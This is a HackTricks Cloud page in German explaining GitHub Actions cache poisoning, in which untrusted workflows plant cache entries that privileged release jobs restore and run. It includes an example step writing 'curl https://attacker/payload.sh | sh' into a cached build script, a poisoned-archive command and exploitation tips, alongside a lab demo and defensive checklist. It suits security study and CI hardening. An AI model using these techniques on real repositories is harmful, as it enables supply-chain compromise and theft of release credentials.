GH Actions - Cache Poisoning
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Überblick
Der GitHub Actions cache ist repositoryweit. Jeder Workflow, der einen cache key (oder restore-keys) kennt, kann diesen Eintrag füllen, selbst wenn der Job nur permissions: contents: read hat. GitHub segregiert Caches nicht nach Workflow, Event-Typ oder Vertrauensstufe, sodass ein Angreifer, der einen niedrig privilegierten Job kompromittiert, einen Cache poisonen kann, den ein privilegierter Release-Job später wiederherstellt. So pivotierte der Ultralytics-Compromise von einem pull_request_target-Workflow in die PyPI publishing pipeline.
Angriffsprimitive
actions/cachebietet sowohl restore- als auch save-Operationen (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Der save-Aufruf ist für jeden Job erlaubt, außer für wirklich untrustedpull_requestWorkflows, die von Forks ausgelöst werden.- Cache-Einträge werden ausschließlich durch den
keyidentifiziert. Breiterestore-keyserleichtern das Injizieren von payloads, weil der Angreifer nur mit einem Prefix kollidieren muss. - Cache keys und versions sind vom Client angegebene Werte; der Cache-Service validiert nicht, dass ein key/version zu einem vertrauenswürdigen Workflow oder Cache-Pfad passt.
- Die cache server URL + runtime token sind im Verhältnis zum Workflow langlebig (historisch ~6 Stunden, jetzt ~90 Minuten) und nicht vom Nutzer widerrufbar. Seit Ende 2024 blockiert GitHub cache writes, nachdem der auslösende Job abgeschlossen ist, daher müssen Angreifer schreiben, während der Job noch läuft oder zukünftige keys pre-poisonen.
- Das gecachte Dateisystem wird unverändert wiederhergestellt. Wenn der Cache Skripte oder Binärdateien enthält, die später ausgeführt werden, kontrolliert der Angreifer diesen Ausführungspfad.
- Die Cache-Datei selbst wird beim Restore nicht validiert; es ist nur ein zstd-komprimiertes Archiv, sodass ein poisoned entry Skripte,
package.jsonoder andere Dateien im Restore-Pfad überschreiben kann.
Example exploitation chain
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Privilegierter Workflow stellte den vergifteten Cache wieder her und führte ihn aus:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
Der zweite Job führt jetzt vom Angreifer kontrollierten Code aus, während er Release-Zugangsdaten (PyPI tokens, PATs, cloud deploy keys usw.) innehat.
Poisoning mechanics
GitHub Actions Cache-Einträge sind typischerweise zstd-komprimierte tar-Archive. Du kannst eines lokal erstellen und in den Cache hochladen:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
Bei einem Cache-Hit entpackt die restore action das Archiv unverändert. Befinden sich im Cache-Pfad Skripte oder Konfigurationsdateien, die später ausgeführt werden (Build-Tooling, action.yml, package.json usw.), kannst du diese überschreiben, um Ausführung zu erlangen.
Praktische Exploit-Tipps
- Ziele Workflows an, die durch
pull_request_target,issue_commentoder Bot-Kommandos ausgelöst werden und weiterhin Caches speichern; GitHub erlaubt es ihnen, repository-weite Keys zu überschreiben, selbst wenn der Runner nur Lesezugriff auf das Repo hat. - Suche nach deterministischen Cache-Keys, die über Vertrauensgrenzen hinweg wiederverwendet werden (z. B.
pip-${{ hashFiles('poetry.lock') }}) oder nach zu großzügigenrestore-keys, und speichere dann dein bösartiges Tarball, bevor der privilegierte Workflow läuft. - Überwache Logs auf
Cache saved-Einträge oder füge einen eigenen Cache-Save-Step hinzu, damit der nächste Release-Job die Payload wiederherstellt und die trojanisierten Skripte oder Binärdateien ausführt.
Neuere Techniken, gesehen in der Angular (2026) Kette
- Cache v2 “prefix hit” behavior: In Cache v2 können exakte Misses trotzdem einen anderen Eintrag wiederherstellen, der denselben Key-Prefix teilt (effektiv “all keys are restore keys”). Angreifer können nahe-Kollision-Keys vorab einfügen, sodass ein späterer Miss auf das vergiftete Objekt zurückfällt.
- Forced eviction in one run: Seit dem 20. November 2025 entfernt GitHub Einträge sofort, wenn die Repository-Cache-Nutzung das Limit überschreitet (standardmäßig 10 GB). Ein Angreifer kann zuerst Müll-Cache-Daten hochladen, legitime Einträge im selben Job verdrängen und dann den bösartigen Cache-Key schreiben, ohne auf einen täglichen Aufräumzyklus zu warten.
setup-nodecache pivots via reusable actions: Reusable/internal actions, dieactions/setup-nodemitcache-dependency-pathumschließen, können stillschweigend low-trust- und high-trust-Workflows verbinden. Falls beide Pfade auf gemeinsame Keys hashen, kann das Vergiften des Dependency-Caches in privilegierter Automation ausgeführt werden (z. B. Renovate/bot-Jobs).- Chaining cache poisoning into bot-driven supply chain abuse: Im Angular-Fall hat Cache-Poisoning ein bot PAT offengelegt, das dann verwendet werden konnte, um bot-eigene PR-Heads nach der Genehmigung per force-push zu überschreiben. Wenn Approval-Reset-Regeln Bot-Akteure ausnehmen, ermöglicht das, geprüfte Commits vor dem Merge gegen bösartige auszutauschen (z. B. imposter action SHAs).
##å Cacheract
Cacheract ist ein auf PoC fokussiertes Toolkit für GitHub Actions cache poisoning in autorisierten Tests. Der praktische Nutzen besteht darin, die fragilen Teile zu automatisieren, die man manuell leicht falsch macht:
- Erkennt und nutzt Runtime-Cache-Kontext vom Runner (
ACTIONS_RUNTIME_TOKENund Cache-Service-URL). - Listet auf und zielt auf Kandidaten für Cache-Keys/-Versionen ab, die von downstream Workflows verwendet werden.
- Erzwingt Eviction durch Überfüllen des Cache-Quotas (falls anwendbar) und schreibt dann in derselben Ausführung Einträge unter Angreifer-Kontrolle.
- Sät vergifteten Cache-Inhalt, sodass spätere Workflows die modifizierte Tooling wiederherstellen und ausführen.
Das ist besonders nützlich in Cache v2-Umgebungen, in denen Timing und Key/Version-Verhalten wichtiger sind als in frühen Cache-Implementierungen.
Demo
Benutze dies nur in Repositories, die du besitzt oder bei denen du ausdrücklich zum Testen berechtigt bist.
1. Vulnerable workflow (untrusted trigger can save cache)
Dieser Workflow simuliert ein pull_request_target anti-pattern: Er schreibt Cache-Inhalt aus einem angreiferkontrollierten Kontext und speichert ihn unter einem deterministischen Key.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Privilegierter Workflow (stellt gecachte Binär-/Skriptdatei wieder her und führt sie aus)
Dieser Workflow stellt denselben Schlüssel wieder her und führt toolchain/bin/build aus, während er ein Dummy-Secret hält. Wenn der Cache vergiftet ist, ist der Ausführungspfad vom Angreifer kontrollierbar.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Lab ausführen
- Füge eine stabile
toolchain.lock-Datei hinzu, sodass beide Workflows denselben Cache-Schlüssel auflösen. - Löse
untrusted-cache-writerüber eine Test-PR aus. - Löse
privileged-consumerviaworkflow_dispatchaus. - Bestätige, dass
POISONED_BUILD_PATHin den Logs erscheint und/tmp/cache-poisoning-demo.txterstellt wird.
4. What this demonstrates technically
- Cross-workflow cache trust break: Die writer- und consumer-Workflows haben unterschiedliche Vertrauensstufen, teilen jedoch denselben Cache-Namespace.
- Execution-on-restore risk: Es wird keine Integritätsprüfung durchgeführt, bevor ein wiederhergestelltes Script/Binary ausgeführt wird.
- Deterministic key abuse: Wenn ein Job mit hohem Vertrauensniveau vorhersehbare Schlüssel verwendet, kann ein Job mit niedrigem Vertrauensniveau bösartige Inhalte vorab platzieren.
5. Defensive verification checklist
- Teile Schlüssel nach Vertrauensgrenze (
pr-,ci-,release-) und vermeide gemeinsame Präfixe. - Deaktiviere Cache-Schreibvorgänge in nicht vertrauenswürdigen Workflows.
- Prüfe per Hash die wiederhergestellte ausführbare Datei, bevor du sie ausführst.
- Vermeide es, Tools direkt aus Cache-Pfaden auszuführen.
References
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

